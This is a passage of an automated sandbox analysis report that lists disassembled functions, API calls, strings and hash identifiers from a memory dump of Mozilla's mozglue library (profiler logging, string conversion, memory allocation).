Part of subcall function 6C65EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C68D7F3), ref: 6C65EBC3
Part of subcall function 6C65EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C68D7F3), ref: 6C65EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C65EDC1

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction ID: 58349f6a09830bb8ba9f10bcb68811798057119605d22f8757a79b57b5dcc24a
Opcode Fuzzy Hash: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction Fuzzy Hash: F251F171E052048BDF00DF69C8806EEB7F0AF4A318F94852DE8956B740E7346959C7EA

Function 6C6CA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA565

Part of subcall function 6C6CA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6CA4BE
Part of subcall function 6C6CA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6CA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C6CA6B6

Strings

z, xrefs: 6C6CA6AE
0, xrefs: 6C6CA5FB

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction ID: 04f669c28a7bbff4618a294ce90f01ccbc11bc35cfc35bd6eeabef394af0ac6b
Opcode Fuzzy Hash: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction Fuzzy Hash: 75414771A097459FC341CF29C080A8BBBE4FF8A344F408A2EF49987651EB30D549CB87

Function 6C699420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
__Init_thread_footer.LIBCMT ref: 6C69949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C69947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C699459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C69946B

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction ID: aa2c4d1473f1cb2f1ae45731b97a48eff6bf2a21c92b5f4b9591bb7a0ffbe7d0
Opcode Fuzzy Hash: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction Fuzzy Hash: C5012830A001028BD7109B5ED840A8D33B99F06B3DF054537DD0AC6B52D623F4648D5F

Function 6C6A0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6A0F88
GetCurrentThreadId.KERNEL32 ref: 6C6A0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C6A1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C6A10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C6A114B

Part of subcall function 6C698AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C6B1563), ref: 6C698BD5

free.MOZGLUE(?), ref: 6C6A1174
free.MOZGLUE(?), ref: 6C6A1186

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: b9d50b2a4b8431f7868675881a5dcfdc2c95544afed3b4fb2e42252ad135d9da
Instruction ID: 49dfba786d0adaa59ed0ba26cdbba3b7503cfec9f4aa35b290351c3b2a6838aa
Opcode Fuzzy Hash: b9d50b2a4b8431f7868675881a5dcfdc2c95544afed3b4fb2e42252ad135d9da
Instruction Fuzzy Hash: F961C3756043409FDB10CF65C88079AB7F5BFCA308F04891DE98957712EB31E95ACB9A

Function 6C65B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6AC

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C65B61E), ref: 6C65B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B79A

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: b6f95eb9980117f64b0a6e82c9f44ffb228db0619a477cfe8d4454a6a340f864
Instruction ID: 25f7ad8c1ce3fb9c4c211db8e93f4453b592f1bf7e2131b02846affe1d512b41
Opcode Fuzzy Hash: b6f95eb9980117f64b0a6e82c9f44ffb228db0619a477cfe8d4454a6a340f864
Instruction Fuzzy Hash: 5C41D5B2D001159FCB04DF68DC806AFB7B5FF85324F650669E825E7780E731A9148BE9

Function 6C65EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C6D5104), ref: 6C65EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C65EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C65EFEC
free.MOZGLUE(?), ref: 6C65F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C65F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C65F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C65F065
moz_xmalloc.MOZGLUE ref: 6C65F072

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 49165111de3c03516b95465da52a387b2934844702cccbe047f897deb7366f25
Instruction ID: 25846d7eb8670091aa041ee8526c5cda146169a1046695fd6905bd7ecf1497d7
Opcode Fuzzy Hash: 49165111de3c03516b95465da52a387b2934844702cccbe047f897deb7366f25
Instruction Fuzzy Hash: 4441E9B1A001059FCB08CF68DC909AE7769FF85318B34062CE926D7794EB71E915C7EA

Function 6C6CB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C6CB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C6CB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C6CB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C6CB5F4
__Init_thread_footer.LIBCMT ref: 6C6CB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C6CB61F
std::_Facet_Register.LIBCPMT ref: 6C6CB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6CB655

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction ID: 70af877dea57f0e7fc2c37128b4d8ba1b432833bcab7c8e056cdc96acfe85fe5
Opcode Fuzzy Hash: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction Fuzzy Hash: FB316F71B002058BCB00DFAAC8989AEB7F5EFCA325F150519D90697780DB31B906CF9E

Function 6C696590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C696727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C6967C8

Part of subcall function 6C6A4290: memcpy.VCRUNTIME140(?,?,6C6B2003,6C6B0AD9,?,6C6B0AD9,00000000,?,6C6B0AD9,?,00000004,?,6C6B1A62,?,6C6B2003,?), ref: 6C6A42C4

Strings

vml, xrefs: 6C69696C
data, xrefs: 6C696593

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vml
API String ID: 511789754-3335688618
Opcode ID: 1ea53a4bcef78ae37e8f2907a97228b96f43628bc8324aa79383644413eedc8a
Instruction ID: 20ff2b914093ae74997b57c34fa08c7436a05d9ac23ef9eda6ba70f89351a345
Opcode Fuzzy Hash: 1ea53a4bcef78ae37e8f2907a97228b96f43628bc8324aa79383644413eedc8a
Instruction Fuzzy Hash: F9D1CE75A083419FD764CF25C840B9EB7E5AFC6308F10492EE58987B51EB30E949CB9B

Function 6C68D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C65EB57,?,?,?,?,?,?,?,?,?), ref: 6C68D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C65EB57,?), ref: 6C68D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C65EB57,?), ref: 6C68D673
free.MOZGLUE(?), ref: 6C68D888

Strings

Wel, xrefs: 6C68D5D9, 6C68D63F
|Enabled, xrefs: 6C68D81E

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: Wel$|Enabled
API String ID: 4142949111-1036103015
Opcode ID: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction ID: 73895f8debc637035f6ab12ae7658e5f5767ac23accadb84eb3d4b2661b4f139
Opcode Fuzzy Hash: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction Fuzzy Hash: 14A1F2B0A012499FDF10CF69C4907EEBBF1AF4A318F58805ED885AB741C734A845CBB9

Function 6C669830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C6B7ABE), ref: 6C66985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C6B7ABE), ref: 6C6698A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C669909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C669918
free.MOZGLUE(?), ref: 6C669975

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: f19d462534e4bbb6d175180e6e170fe5ae577c7268c5f70edb45137fe5f94fa7
Instruction ID: 46417bebb58991fded83a11875da7326b8476b137f449c53d9d74f74598d94e6
Opcode Fuzzy Hash: f19d462534e4bbb6d175180e6e170fe5ae577c7268c5f70edb45137fe5f94fa7
Instruction Fuzzy Hash: 317169746047058FC725CF2AC480956B7F1FF4A328B284AADEC5A8BF90D771B845CB96

Function 6C66B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C6ACC83,?,?,?,?,?,?,?,?,?,6C6ABCAE,?,?,6C69DC2C), ref: 6C66B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C6ACC83,?,?,?,?,?,?,?,?,?,6C6ABCAE,?,?,6C69DC2C), ref: 6C66B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C6ACC83,?,?,?,?,?,?,?,?,?,6C6ABCAE), ref: 6C66B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C6ACC83,?,?,?,?,?,?,?,?,?,6C6ABCAE,?,?,6C69DC2C), ref: 6C66B896

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 8d65663f517cc1ba9019aa32cdd5be14be6eb4379add72ea62ad780bd7f5b39b
Instruction ID: 660f9ae3e6eba31157b9b988089750c6d309a79bba48d77c940fe54830b8b717
Opcode Fuzzy Hash: 8d65663f517cc1ba9019aa32cdd5be14be6eb4379add72ea62ad780bd7f5b39b
Instruction Fuzzy Hash: B3516B35700600CFCB25CF5AC484A6ABBF5FF89318B69855DE98A87B51C731EC01DB89

Function 6C6A1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D4C
GetCurrentThreadId.KERNEL32 ref: 6C6A1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6A1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6A1DDA

Part of subcall function 6C6A1EF0: GetCurrentThreadId.KERNEL32 ref: 6C6A1F03
Part of subcall function 6C6A1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C6A1DF2,00000000,00000000), ref: 6C6A1F0C
Part of subcall function 6C6A1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C6A1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C6A1DF4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction ID: 6237317cd5e8c4c48d03eaf6022813b837f2a5122011ce4a3e1288e701c1984f
Opcode Fuzzy Hash: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction Fuzzy Hash: 434167B52007019FCB10DF69C488A56BBF9FF89314F10442EE95A87B41DB31F855CB99

Function 6C6984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6984F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985AC

Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69767F
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C697693
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985B2

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction ID: b02f8cc00a9fe643691ff8c2603e189c6edef795f28809ea080049c642b51048
Opcode Fuzzy Hash: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction Fuzzy Hash: 7D218E742006029FDB14DF29C888A5AB7B5AF8930CF24492DE55BC3B51EB31F949CB59

Function 6C661640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C661699
VerSetConditionMask.NTDLL ref: 6C6616CB
VerSetConditionMask.NTDLL ref: 6C6616D7
VerSetConditionMask.NTDLL ref: 6C6616DE
VerSetConditionMask.NTDLL ref: 6C6616E5
VerSetConditionMask.NTDLL ref: 6C6616EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6616F9

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: f84841580bed524b7193ec7398748102c90c56b468ac830f6a53935fa1e8d8bc
Instruction ID: 5ebc18347cdce2e6c4c196cc0c98d8f41758e16dacbf56acbe91b7dc95ca951f
